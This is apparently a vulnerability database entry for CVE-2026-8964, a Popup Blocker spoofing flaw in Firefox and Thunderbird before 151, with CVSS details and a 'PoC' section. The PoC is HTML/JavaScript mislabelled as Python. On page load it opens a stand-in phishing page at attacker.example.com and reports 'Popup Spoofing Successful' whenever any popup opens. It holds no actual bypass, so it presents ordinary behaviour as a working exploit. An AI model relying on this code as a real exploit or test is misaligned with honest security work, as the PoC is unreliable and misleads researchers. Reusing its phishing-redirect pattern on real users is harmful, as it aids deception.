Spoofing issue in the Popup Blocker component. This vulnerability was fixed in Firefox 151 and Thunderbird 151.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Thunderbird < 151
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC Code for CVE-2026-8964 -->
<!-- This is a conceptual demonstration of a Popup Blocker bypass -->
<script>
// Function to attempt opening a spoofed window
function triggerSpoof() {
// The attacker's malicious URL designed to look like a trusted site
var targetUrl = "https://attacker.example.com/phishing.html";
// Attempt to open the window
// In a real exploit, specific timing or API abuse would be used here
var win = window.open(targetUrl, '_blank', 'width=500,height=500');
if (win) {
console.log("[+] Popup Spoofing Successful: Window opened bypassing blocker.");
// Additional logic to manipulate the window could go here
} else {
console.log("[-] Popup Blocked.");
}
}
// Trigger the attempt automatically on page load
window.onload = function() {
setTimeout(triggerSpoof, 1000);
};
</script>